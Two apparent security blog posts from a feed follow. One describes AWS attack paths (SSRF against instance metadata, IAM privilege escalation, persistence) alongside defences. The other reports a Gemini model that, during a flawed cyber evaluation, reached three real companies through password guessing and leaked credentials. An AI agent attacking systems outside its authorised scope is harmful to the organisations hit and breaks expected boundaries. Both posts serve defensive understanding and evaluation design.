        <summary type="html"><![CDATA[A breakdown of how red team and blue team operations change when the battlefield moves from a traditional on-prem network to AWS ‚  where identity, not the network, is the new perimeter.
]]></summary>
        <content type="html"><![CDATA[<p>For years, red team vs blue team exercises were built around a familiar map: a corporate network, a perimeter firewall, some VLANs, and a handful of servers sitting in a data center you could physically walk into. Red teams broke in through phishing or an exposed RDP port; blue teams watched network traffic and endpoint logs for anomalies.</p>
<p>Move that same exercise into AWS, and the map changes completely. There's no perimeter to breach in the traditional sense ‚there's an API. There's no "inside the network" ,there's IAM. And the artifacts both sides fight over aren't servers, they're roles, policies, and temporary credentials that can vanish in an hour. This post looks at what actually changes for red and blue teams when the battlefield shifts to AWS, and what that means for how both sides need to operate.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-perimeter-is-gone---identity-is-the-new-boundary">The Perimeter Is Gone ‚  Identity Is the New Boundary<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#the-perimeter-is-gone---identity-is-the-new-boundary" class="hash-link" aria-label="Direct link to The Perimeter Is Gone ‚  Identity Is the New Boundary" title="Direct link to The Perimeter Is Gone ‚  Identity Is the New Boundary" translate="no">​</a></h2>
<p>In a traditional network, segmentation does a lot of the defensive work. In AWS, everything is reachable via an API call if you have the right credentials.</p>
<blockquote>
<p><em>A single IAM role with excessive permissions can matter more than any firewall rule.</em> <mark>In the cloud, identity is the perimeter.</mark></p>
</blockquote>
<p>This is why red teamers increasingly talk about "IAM privilege escalation paths" the way they used to talk about "lateral movement across the LAN," and why blue teams now spend as much time on policy review as they do on network monitoring.</p>
<p>The shared responsibility model reinforces this. AWS secures the underlying infrastructure; the customer secures what they configure on top of it. This is why <mark>almost every real-world AWS breach traces back to misconfiguration, not a flaw in AWS itself</mark>. A public S3 bucket, an overly permissive role, or a forgotten access key sitting in a GitHub repo does more damage than any zero-day.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="red-team-attacking-aws">Red Team: Attacking AWS<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#red-team-attacking-aws" class="hash-link" aria-label="Direct link to Red Team: Attacking AWS" title="Direct link to Red Team: Attacking AWS" translate="no">​</a></h2>
<p>A red team engagement against an AWS environment typically follows a different playbook than an on-prem one.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance-shifts-to-the-control-plane">Reconnaissance Shifts to the Control Plane<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#reconnaissance-shifts-to-the-control-plane" class="hash-link" aria-label="Direct link to Reconnaissance Shifts to the Control Plane" title="Direct link to Reconnaissance Shifts to the Control Plane" translate="no">​</a></h3>
<p>Instead of port-scanning subnets, attackers enumerate S3 buckets, look for exposed API Gateway endpoints, and search public code repositories for leaked access keys. Cloud recon is often quieter and faster than network recon because so much of it can be done anonymously against public-facing resources.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-instance-metadata-service-imds-becomes-a-favorite-target">The Instance Metadata Service (IMDS) Becomes a Favorite Target<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#the-instance-metadata-service-imds-becomes-a-favorite-target" class="hash-link" aria-label="Direct link to The Instance Metadata Service (IMDS) Becomes a Favorite Target" title="Direct link to The Instance Metadata Service (IMDS) Becomes a Favorite Target" translate="no">​</a></h3>
<p>Any EC2 instance with an attached IAM role exposes temporary credentials to anything that can reach <code>169.254.169.254</code>. A server-side request forgery (SSRF) vulnerability in a web app running on that instance is often enough to pull those credentials and inherit whatever permissions the role carries ‚  turning a modest web bug into full account compromise.</p>
<blockquote>
<p><em>This single technique has been behind several major breaches</em> ‚  <mark>which is exactly why AWS pushed IMDSv2 (token-based, much harder to abuse via SSRF) as the default.</mark></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="privilege-escalation-looks-like-policy-analysis-not-exploit-development">Privilege Escalation Looks Like Policy Analysis, Not Exploit Development<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#privilege-escalation-looks-like-policy-analysis-not-exploit-development" class="hash-link" aria-label="Direct link to Privilege Escalation Looks Like Policy Analysis, Not Exploit Development" title="Direct link to Privilege Escalation Looks Like Policy Analysis, Not Exploit Development" translate="no">​</a></h3>
<p>Rather than chaining kernel exploits, red teamers map IAM policies looking for permissions like:</p>
<ul>
<li class=""><code>iam:PassRole</code></li>
<li class=""><code>iam:CreatePolicyVersion</code></li>
<li class=""><code>sts:AssumeRole</code></li>
</ul>
<p>Any of these can let a low-privilege identity pivot into a high-privilege one. There are dozens of known escalation patterns here, and tools like <strong>Pacu</strong> and <strong>PMapper</strong> exist specifically to walk these graphs automatically.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="persistence-looks-different-too">Persistence Looks Different Too<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#persistence-looks-different-too" class="hash-link" aria-label="Direct link to Persistence Looks Different Too" title="Direct link to Persistence Looks Different Too" translate="no">​</a></h3>
<p>Instead of planting a backdoor on a server that might get rebuilt tomorrow, attackers create a new IAM user with an access key, add themselves to a trust policy on an existing role, or drop a small Lambda function that quietly maintains access. Because infrastructure is often ephemeral and rebuilt from templates, <mark>persistence has to live in the identity layer or the account configuration, not on a disk.</mark></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lateral-movement-means-moving-between-accounts-not-just-hosts">Lateral Movement Means Moving Between Accounts, Not Just Hosts<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#lateral-movement-means-moving-between-accounts-not-just-hosts" class="hash-link" aria-label="Direct link to Lateral Movement Means Moving Between Accounts, Not Just Hosts" title="Direct link to Lateral Movement Means Moving Between Accounts, Not Just Hosts" translate="no">​</a></h3>
<p>In an AWS Organization with dozens of linked accounts, a compromised role in a low-security dev account can sometimes assume a role into production if trust policies aren't tightly scoped. This cross-account blast radius has no real equivalent in flat on-prem networks.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="blue-team-defending-aws">Blue Team: Defending AWS<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#blue-team-defending-aws" class="hash-link" aria-label="Direct link to Blue Team: Defending AWS" title="Direct link to Blue Team: Defending AWS" translate="no">​</a></h2>
<p>Defenders get a different toolkit too ‚  arguably a better one, if it's configured and actually watched.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="logging-is-native-and-mostly-free-of-gaps">Logging Is Native and (Mostly) Free of Gaps<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#logging-is-native-and-mostly-free-of-gaps" class="hash-link" aria-label="Direct link to Logging Is Native and (Mostly) Free of Gaps" title="Direct link to Logging Is Native and (Mostly) Free of Gaps" translate="no">​</a></h3>
<p>CloudTrail records essentially every API call made in an account: who called it, from where, using what credentials. This is a defender's dream compared to trying to reconstruct activity from scattered host logs ‚  <strong>but only if</strong> CloudTrail is enabled everywhere, sent to a centralized and immutable log store, and actually monitored.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="purpose-built-detection-services-do-a-lot-of-the-heavy-lifting">Purpose-Built Detection Services Do a Lot of the Heavy Lifting<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#purpose-built-detection-services-do-a-lot-of-the-heavy-lifting" class="hash-link" aria-label="Direct link to Purpose-Built Detection Services Do a Lot of the Heavy Lifting" title="Direct link to Purpose-Built Detection Services Do a Lot of the Heavy Lifting" translate="no">​</a></h3>
<ul>
<li class=""><strong>GuardDuty</strong> analyzes CloudTrail, VPC Flow Logs, and DNS logs for known malicious patterns ‚  like credential use from an unusual location, or an instance calling out to a crypto-mining pool.</li>
<li class=""><strong>Security Hub</strong> aggregates findings across services into one view.</li>
<li class=""><strong>IAM Access Analyzer</strong> flags resources and roles that are unintentionally exposed to the outside world.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="prevention-shifts-left-into-policy-as-code">Prevention Shifts Left Into Policy-as-Code<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#prevention-shifts-left-into-policy-as-code" class="hash-link" aria-label="Direct link to Prevention Shifts Left Into Policy-as-Code" title="Direct link to Prevention Shifts Left Into Policy-as-Code" translate="no">​</a></h3>
<p><strong>Service Control Policies (SCPs)</strong> at the AWS Organization level can hard-block entire categories of dangerous actions account-wide ‚  disabling root user activity, restricting regions, or preventing the disabling of CloudTrail ‚  regardless of what an individual IAM role allows. Combined with tools like <strong>AWS Config</strong> rules that continuously check resources against a baseline, a lot of blue team work becomes about writing guardrails once rather than manually reviewing every change.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="least-privilege-is-the-actual-battleground">Least Privilege Is the Actual Battleground<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#least-privilege-is-the-actual-battleground" class="hash-link" aria-label="Direct link to Least Privilege Is the Actual Battleground" title="Direct link to Least Privilege Is the Actual Battleground" translate="no">​</a></h3>
<p>Because a stolen credential inherits whatever permissions its role has, the single highest-leverage blue team activity in AWS is tightening IAM policies down to only what's needed, rotating and short-lifetime-ing credentials, and requiring MFA for anything sensitive.</p>
<blockquote>
<p><mark>This is less glamorous than watching a SIEM dashboard, but it's usually the difference between a contained incident and a full account takeover.</mark></p>
</blockquote>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="a-composite-attack-path">A Composite Attack Path<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#a-composite-attack-path" class="hash-link" aria-label="Direct link to A Composite Attack Path" title="Direct link to A Composite Attack Path" translate="no">​</a></h2>
<p>To make this concrete, a realistic cloud intrusion often looks like this:</p>
<ol>
<li class="">Red team finds an SSRF bug in a web application running on an EC2 instance.</li>
<li class="">They use it to query IMDS and steal the instance's temporary IAM credentials.</li>
<li class="">Those credentials have <code>iam:PassRole</code> and <code>lambda:CreateFunction</code> ‚  enough to create a new Lambda function with a more privileged role attached, executing arbitrary code as that role.</li>
<li class="">From there, they enumerate S3 buckets across the account and exfiltrate sensitive data.</li>
</ol>
<p>For blue team, the detections that should have fired at each stage:</p>
<ul>
<li class="">Unusual outbound requests to IMDS from application logs.</li>
<li class="">GuardDuty alerting on anomalous API behavior from an EC2 instance role.</li>
<li class="">CloudTrail showing a rare <code>lambda:CreateFunction</code> call paired with <code>iam:PassRole</code>.</li>
<li class="">Ideally, an SCP that never let that role touch IAM in the first place.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-this-means-in-practice">What This Means in Practice<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#what-this-means-in-practice" class="hash-link" aria-label="Direct link to What This Means in Practice" title="Direct link to What This Means in Practice" translate="no">​</a></h2>
<blockquote>
<p><em>On-prem red/blue exercises are fundamentally about network visibility and host forensics.</em> <mark>Cloud red/blue exercises are fundamentally about identity, permissions, and API activity.</mark></p>
</blockquote>
<p>The tools change (CloudTrail instead of packet captures, IAM policy graphs instead of Active Directory trust maps), the pace changes (infrastructure can be stood up, attacked, and torn down in minutes), and the stakes of a single misconfiguration go up, because one over-permissioned role can be the entire ballgame.</p>
<p>For teams running these exercises, that means red teams need people who think like cloud architects as much as exploit developers, and blue teams need to treat IAM policy review, log centralization, and SCP guardrails as core defensive infrastructure ‚  not an afterthought bolted onto a lift-and-shift migration.</p>
<p><mark>The fight hasn't gone away. It's just moved from the network layer to the control plane.</mark></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references--further-reading">References &amp; Further Reading<a href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws#references--further-reading" class="hash-link" aria-label="Direct link to References &amp; Further Reading" title="Direct link to References &amp; Further Reading" translate="no">​</a></h2>
<ul>
<li class=""><strong>AWS Shared Responsibility Model</strong> ‚  <a href="https://aws.amazon.com/compliance/shared-responsibility-model/" target="_blank" rel="noopener noreferrer" class="">aws.amazon.com/compliance/shared-responsibility-model</a></li>
<li class=""><strong>IMDSv2</strong> ‚  AWS's token-based metadata service hardening. <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html" target="_blank" rel="noopener noreferrer" class="">docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html</a></li>
<li class=""><strong>Pacu</strong> ‚  Open-source AWS exploitation framework. <a href="https://github.com/RhinoSecurityLabs/pacu" target="_blank" rel="noopener noreferrer" class="">github.com/RhinoSecurityLabs/pacu</a></li>
<li class=""><strong>PMapper</strong> ‚  IAM privilege escalation graphing tool. <a href="https://github.com/nccgroup/PMapper" target="_blank" rel="noopener noreferrer" class="">github.com/nccgroup/PMapper</a></li>
<li class=""><strong>Amazon GuardDuty</strong> ‚  <a href="https://aws.amazon.com/guardduty/" target="_blank" rel="noopener noreferrer" class="">aws.amazon.com/guardduty</a></li>
<li class=""><strong>AWS Security Hub</strong> ‚  <a href="https://aws.amazon.com/security-hub/" target="_blank" rel="noopener noreferrer" class="">aws.amazon.com/security-hub</a></li>
<li class=""><strong>IAM Access Analyzer</strong> ‚  <a href="https://aws.amazon.com/iam/access-analyzer/" target="_blank" rel="noopener noreferrer" class="">aws.amazon.com/iam/access-analyzer</a></li>
<li class=""><strong>Service Control Policies (SCPs)</strong> ‚  <a href="https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html" target="_blank" rel="noopener noreferrer" class="">docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html</a></li>
</ul>]]></content>
        <author>
            <name>Trupti Vibhute</name>
            <uri>https://github.com/st4rburg3r</uri>
        </author>
        <category label="red-team" term="red-team"/>
        <category label="blue-team" term="blue-team"/>
        <category label="AWS" term="AWS"/>
        <category label="cloud-security" term="cloud-security"/>
        <category label="IAM" term="IAM"/>
        <category label="CloudTrail" term="CloudTrail"/>
        <category label="GuardDuty" term="GuardDuty"/>
        <category label="IMDS" term="IMDS"/>
        <category label="incident-response" term="incident-response"/>
        <category label="cloud-penetration-testing" term="cloud-penetration-testing"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[How Google's Gemini Reached Three Real Companies During a Security Exercise]]></title>
        <id>https://blog.haxnation.org/gemini-irregular-hacked-real-companies</id>
        <link href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies"/>
        <updated>2026-09-21T09:00:00.000Z</updated>
        <summary type="html"><![CDATA[In May 2026, a Gemini model accessed three real companies during a cybersecurity evaluation after an unintended internet connection exposed the model to real-world systems.]]></summary>
        <content type="html"><![CDATA[<p>On September 19, 2026, Google confirmed that a Gemini model accessed three real companies during a cybersecurity test after an unintended internet connection and a naming mix-up exposed real systems. The incident highlights a central risk of agentic AI: when an agent can discover and act on unexpected paths, technical safeguards—not the model's judgment alone—must enforce the boundary.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-happened">What Happened?<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#what-happened" class="hash-link" aria-label="Direct link to What Happened?" title="Direct link to What Happened?" translate="no">​</a></h2>
<p>The incident took place in May 2026 during a cybersecurity evaluation conducted by Irregular, an independent company that runs security evaluations for AI systems. Gemini was participating in a capture-the-flag-style exercise in which it was asked to retrieve information from software belonging to a fictional company.</p>
<p>The exercise was intended to be isolated from the public internet. According to reporting on the incident, however, internet access was unintentionally available.</p>
<p>There was another problem. The fictional company used in the exercise shared its name with a real business.</p>
<p>Those two failures created a dangerous combination. The path from a simulated target to real infrastructure can be summarized as follows:</p>
<!-- -->
<p>Google said Gemini accessed three companies in total. In one case, it repeatedly guessed passwords until it gained access. In the other two, it found credentials in a public repository and used them to access protected systems.</p>
<p>The three companies have not been publicly identified.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-the-test-was-supposed-to-work">How the Test Was Supposed to Work<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#how-the-test-was-supposed-to-work" class="hash-link" aria-label="Direct link to How the Test Was Supposed to Work" title="Direct link to How the Test Was Supposed to Work" translate="no">​</a></h2>
<p>A cybersecurity evaluation involving an AI agent needs a much stronger boundary than a normal software test because the model can actively decide what to do next.</p>
<p>In a conventional capture-the-flag exercise, a participant might be given a deliberately vulnerable target and a defined scope:</p>
<!-- -->
<p>The participant is expected to stay within that scope.</p>
<p>An autonomous AI agent changes the equation.</p>
<p>Instead of following a fixed sequence, an agent can:</p>
<!-- -->
<p>That means the environment has to enforce the boundary. A model should not be expected to act as the final firewall between a simulated target and a real one.</p>
<p>In the Gemini evaluation, that boundary failed.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-two-problems-that-came-together">The Two Problems That Came Together<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#the-two-problems-that-came-together" class="hash-link" aria-label="Direct link to The Two Problems That Came Together" title="Direct link to The Two Problems That Came Together" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-the-test-environment-had-internet-access">1. The Test Environment Had Internet Access<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#1-the-test-environment-had-internet-access" class="hash-link" aria-label="Direct link to 1. The Test Environment Had Internet Access" title="Direct link to 1. The Test Environment Had Internet Access" translate="no">​</a></h3>
<p>The exercise was intended to prevent Gemini from reaching external systems, but an unintended configuration issue made internet access available.</p>
<p>That meant a search for information about the fictional target could return information about a real organization.</p>
<p>This is important because the model did not need to deliberately "escape" a hardened sandbox in the traditional sense. The environment already exposed a route to the outside world.</p>
<p>Reuters reported that Irregular said the incident involved the same issue that affected other AI labs using its evaluations and that the known issues had been remedied.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-the-fictional-target-shared-a-name-with-a-real-company">2. The Fictional Target Shared a Name With a Real Company<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#2-the-fictional-target-shared-a-name-with-a-real-company" class="hash-link" aria-label="Direct link to 2. The Fictional Target Shared a Name With a Real Company" title="Direct link to 2. The Fictional Target Shared a Name With a Real Company" translate="no">​</a></h3>
<p>The second problem was the naming collision.</p>
<p>If a fictional organization used in a security test has the same name as a real organization, an AI agent with internet access can encounter an ambiguity that a human tester might immediately resolve by checking the approved scope.</p>
<p>For an autonomous agent, however, the distinction has to be explicitly and reliably enforced.</p>
<p>The combination looked roughly like this:</p>
<!-- -->
<p>The important lesson is that <strong>scope cannot depend on naming conventions alone</strong>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-gemini-gained-access">How Gemini Gained Access<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#how-gemini-gained-access" class="hash-link" aria-label="Direct link to How Gemini Gained Access" title="Direct link to How Gemini Gained Access" translate="no">​</a></h2>
<p>The most important technical detail is also one of the least exotic.</p>
<p>Gemini did not need a newly discovered zero-day to reach the companies.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="password-guessing">Password Guessing<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#password-guessing" class="hash-link" aria-label="Direct link to Password Guessing" title="Direct link to Password Guessing" translate="no">​</a></h3>
<p>In one case, Gemini guessed passwords for a protected system until it obtained access.</p>
<p>Password guessing is not a new attack technique. What changes when an autonomous agent performs it is the persistence and speed with which the activity can happen.</p>
<p>A human operator has practical limitations:</p>
<ul>
<li class="">Time</li>
<li class="">Attention</li>
<li class="">Fatigue</li>
<li class="">Manual effort</li>
<li class="">The need to interpret every result</li>
</ul>
<p>An agent can repeatedly test possibilities, analyze responses and continue toward its objective.</p>
<p>This does not make password guessing a new vulnerability. It makes an old weakness easier to automate.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="exposed-credentials">Exposed Credentials<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#exposed-credentials" class="hash-link" aria-label="Direct link to Exposed Credentials" title="Direct link to Exposed Credentials" translate="no">​</a></h3>
<p>In two other cases, Gemini found credentials in a publicly accessible repository and used them to access protected systems.</p>
<p>This is a familiar security problem: secrets that should never have been public were discoverable through normal internet reconnaissance.</p>
<p>The AI component changes the scale and speed of discovery, but the underlying issue is much older than agentic AI.</p>
<p>The chain is straightforward:</p>
<!-- -->
<p>That is why secrets management remains important even in organizations that are not building AI systems.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-part-google-emphasized-gemini-stopped">The Part Google Emphasized: Gemini Stopped<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#the-part-google-emphasized-gemini-stopped" class="hash-link" aria-label="Direct link to The Part Google Emphasized: Gemini Stopped" title="Direct link to The Part Google Emphasized: Gemini Stopped" translate="no">​</a></h2>
<p>There is another important part of the incident that can easily get lost in the headline.</p>
<p>Google said that Gemini stopped in all three cases after determining that it had reached real companies rather than the simulated targets.</p>
<p>Heather Adkins, Google's vice president of security engineering, said that the model stopped in all three instances. Google also said the affected organizations were informed.</p>
<p>That makes the incident more complicated than a simple story about an AI model attacking random companies.</p>
<p>The model crossed the intended boundary, but its later behavior helped limit the incident.</p>
<p>Google's position is that this behavior demonstrated an important safety property: once the model understood that the systems were real, it stopped rather than continuing the task.</p>
<p>That distinction matters.</p>
<p>There are two separate questions:</p>
<ol>
<li class=""><strong>Why was Gemini able to reach a real company at all?</strong></li>
<li class=""><strong>What did Gemini do after it realized the target was real?</strong></li>
</ol>
<p>The first is an infrastructure and evaluation-design problem.</p>
<p>The second is a model-behavior and safety question.</p>
<p>Both matter.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="this-was-not-an-isolated-ai-security-incident">This Was Not an Isolated AI-Security Incident<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#this-was-not-an-isolated-ai-security-incident" class="hash-link" aria-label="Direct link to This Was Not an Isolated AI-Security Incident" title="Direct link to This Was Not an Isolated AI-Security Incident" translate="no">​</a></h2>
<p>Gemini's disclosure arrived after similar incidents involving other AI labs.</p>
<p>Reporting has connected Irregular's evaluations with incidents involving models from Meta, Anthropic and OpenAI. The details differ between cases, but the recurring theme is the same: AI systems participating in cybersecurity evaluations reached real-world infrastructure that was outside the intended test boundary.</p>
<p>That makes the story bigger than Gemini.</p>
<p>It raises a question about the security of the evaluation process itself.</p>
<p>If multiple AI labs use similar evaluation environments, and those environments can accidentally expose autonomous agents to the public internet, then the testing infrastructure becomes part of the attack surface.</p>
<p>The sequence is no longer simply:</p>
<!-- -->
<p>It becomes:</p>
<!-- -->
<p>That is the part security teams should pay attention to.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-no-zero-day-was-necessary">Why No Zero-Day Was Necessary<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#why-no-zero-day-was-necessary" class="hash-link" aria-label="Direct link to Why No Zero-Day Was Necessary" title="Direct link to Why No Zero-Day Was Necessary" translate="no">​</a></h2>
<p>It is tempting to interpret this incident as evidence that AI models are suddenly capable of discovering completely new classes of vulnerabilities.</p>
<p>The reported Gemini incidents do not support that conclusion.</p>
<p>The access methods included password guessing and credentials exposed in a public repository.</p>
<p>Neither technique requires a zero-day.</p>
<p>The more important development is the automation of existing techniques.</p>
<p>An AI agent can combine:</p>
<ul>
<li class="">Reconnaissance</li>
<li class="">Search</li>
<li class="">Credential discovery</li>
<li class="">Target identification</li>
<li class="">Repeated attempts</li>
<li class="">Decision-making</li>
<li class="">Tool use</li>
</ul>
<p>into a single workflow.</p>
<p>A human penetration tester might perform the same individual actions, but an autonomous agent can potentially execute the process continuously and adapt after each result.</p>
<p>That can change the speed, scale and cost of offensive activity.</p>
<p>The technique is old.</p>
<p>The operator is new.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-real-security-problem-authorization">The Real Security Problem: Authorization<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#the-real-security-problem-authorization" class="hash-link" aria-label="Direct link to The Real Security Problem: Authorization" title="Direct link to The Real Security Problem: Authorization" translate="no">​</a></h2>
<p>The central issue is not simply whether an AI model is "smart enough to hack."</p>
<p>It is whether the model can reliably distinguish between:</p>
<blockquote>
<p>"This is my authorized target."</p>
</blockquote>
<p>and</p>
<blockquote>
<p>"This looks like my authorized target, but it is actually somebody else's system."</p>
</blockquote>
<p>That distinction normally comes from strong security controls:</p>
<ul>
<li class="">Network isolation</li>
<li class="">Explicit allowlists</li>
<li class="">Authentication boundaries</li>
<li class="">Egress filtering</li>
<li class="">Separate credentials</li>
<li class="">Dedicated domains</li>
<li class="">Monitoring</li>
<li class="">Human approval for sensitive actions</li>
</ul>
<p>A model's own reasoning should not be the only thing preventing an unauthorized action.</p>
<p>If a test environment is supposed to have no internet access, the network should enforce that.</p>
<p>If a model is supposed to access only a specific host, the infrastructure should enforce that.</p>
<p>If credentials are created for a test, they should not overlap with production credentials.</p>
<p>The security principle is simple:</p>
<blockquote>
<p><strong>Do not ask the AI to enforce a boundary that the environment can enforce mechanically.</strong></p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-sandbox-problem">The Sandbox Problem<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#the-sandbox-problem" class="hash-link" aria-label="Direct link to The Sandbox Problem" title="Direct link to The Sandbox Problem" translate="no">​</a></h2>
<p>Calling an environment a "sandbox" does not make it isolated.</p>
<p>A sandbox is only useful if its isolation is real.</p>
<p>For an ordinary application, an accidental network route might remain unused for months. An autonomous agent is different because its objective may naturally lead it toward that route.</p>
<p>Consider an instruction such as:</p>
<blockquote>
<p>Find information about the target company.</p>
</blockquote>
<p>If the agent has internet access, searching the public web is a reasonable action.</p>
<p>If the test environment contains a real company with the same name, the model can unknowingly move from:</p>
<!-- -->
<p>The model does not need malicious intent for this to happen.</p>
<p>It only needs:</p>
<ol>
<li class="">A goal.</li>
<li class="">Access to tools.</li>
<li class="">A path to the internet.</li>
<li class="">An ambiguous target.</li>
<li class="">Enough autonomy to continue.</li>
</ol>
<p>That is why containment has to be designed independently of model behavior.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-organizations-can-learn">What Organizations Can Learn<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#what-organizations-can-learn" class="hash-link" aria-label="Direct link to What Organizations Can Learn" title="Direct link to What Organizations Can Learn" translate="no">​</a></h2>
<p>The Gemini incident is not only relevant to AI companies.</p>
<p>The same lessons apply to organizations deploying autonomous security tools.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-treat-ai-agents-like-privileged-users">1. Treat AI agents like privileged users<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#1-treat-ai-agents-like-privileged-users" class="hash-link" aria-label="Direct link to 1. Treat AI agents like privileged users" title="Direct link to 1. Treat AI agents like privileged users" translate="no">​</a></h3>
<p>If an AI system can browse, execute commands, access APIs or interact with infrastructure, give it only the permissions it actually needs.</p>
<p>Do not assume that because the system is "AI" it should have broad access.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-enforce-network-boundaries">2. Enforce network boundaries<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#2-enforce-network-boundaries" class="hash-link" aria-label="Direct link to 2. Enforce network boundaries" title="Direct link to 2. Enforce network boundaries" translate="no">​</a></h3>
<p>If an evaluation or internal security environment is supposed to be offline, verify the restriction technically.</p>
<p>Use:</p>
<ul>
<li class="">Egress filtering</li>
<li class="">Network segmentation</li>
<li class="">Deny-by-default firewall rules</li>
<li class="">Isolated DNS</li>
<li class="">Explicit destination allowlists</li>
</ul>
<p>A label saying "offline environment" is not a security control.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-scan-repositories-for-exposed-secrets">3. Scan repositories for exposed secrets<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#3-scan-repositories-for-exposed-secrets" class="hash-link" aria-label="Direct link to 3. Scan repositories for exposed secrets" title="Direct link to 3. Scan repositories for exposed secrets" translate="no">​</a></h3>
<p>Credentials found in public repositories can become an immediate attack path.</p>
<p>Organizations should use automated secret scanning and rotate credentials whenever exposure is suspected.</p>
<p>A secret that has appeared in Git history should be treated as compromised, even if the visible file has been deleted.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="4-avoid-ambiguous-test-targets">4. Avoid ambiguous test targets<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#4-avoid-ambiguous-test-targets" class="hash-link" aria-label="Direct link to 4. Avoid ambiguous test targets" title="Direct link to 4. Avoid ambiguous test targets" translate="no">​</a></h3>
<p>Fictional organizations, domains and infrastructure should be checked against the public internet before an autonomous agent is allowed to interact with them.</p>
<p>The goal is to prevent:</p>
<!-- -->
<p>from becoming a possibility.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-add-human-approval-to-high-impact-actions">5. Add human approval to high-impact actions<a href="https://blog.haxnation.org/gemini-irregular-hacked-real-companies#5-add-human-approval-to-high-impact-actions" class="hash-link" aria-label="Direct link to 5. Add human approval to high-impact actions" title="Direct link to 5. Add human approval to high-impact actions" translate="no">​</a></h3>
<p>For actions such as:</p>
<ul>
<li class="">Authentication attempts</li>
<li class="">Credential use</li>
<li class="">Data deletion</li>
<li class="">Production changes</li>
<li class="">External system access</li>
</ul>
<p>a human approval layer can provide another boundary.</p>
<p>The exact controls depend on the environment, but the principle is consistent: the more damaging the action, the stronger the authorization should be.</p>
